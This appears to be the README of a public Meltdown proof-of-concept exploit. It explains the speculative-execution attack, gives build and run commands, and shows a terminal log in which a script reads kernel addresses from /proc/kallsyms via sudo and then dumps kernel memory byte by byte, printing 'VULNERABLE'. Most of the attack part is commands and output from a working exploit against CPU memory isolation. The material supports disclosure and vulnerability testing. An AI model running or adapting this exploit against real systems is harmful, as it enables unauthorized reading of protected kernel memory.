Speculative optimizations execute code in a non-secure manner leaving data traces in microarchitecture such as cache.
Refer to the paper by Lipp et. al 2017 for details: https://meltdownattack.com/meltdown.pdf.
Can only dump
linux_proc_banner at the moment, since requires accessed memory to be in cache and linux_proc_banner is cached on every read from /proc/version. Might work with prefetch.Build with
make, run with ./run.sh.Can't defeat KASLR yet, so you may need to enter your password to find
linux_proc_banner in the /proc/kallsyms (or do it manually).Flush+Reload and target array approach taken from spectre paper https://spectreattack.com/spectre.pdf implemented following clues from https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.
Pandora's box is open.
Result:
$ make
cc -O2 -msse2 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk
/linux_proc_banner/ {
if (strtonum("0x"$1))
print $1;
exit 0;
} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON
4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 158
model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping : 9
microcode : 0x5e
cpu MHz : 3499.316
cache size : 6144 KB
physical id : 0Does not work
If it compiles but fails with
Illegal instruction then either your hardware is very old or it is a VM. Try compiling with:$ make CFLAGS=-DHAVE_RDTSCP=0 clean allWorks on
The CPUs list is moved here: https://github.com/paboldin/meltdown-exploit/issues/19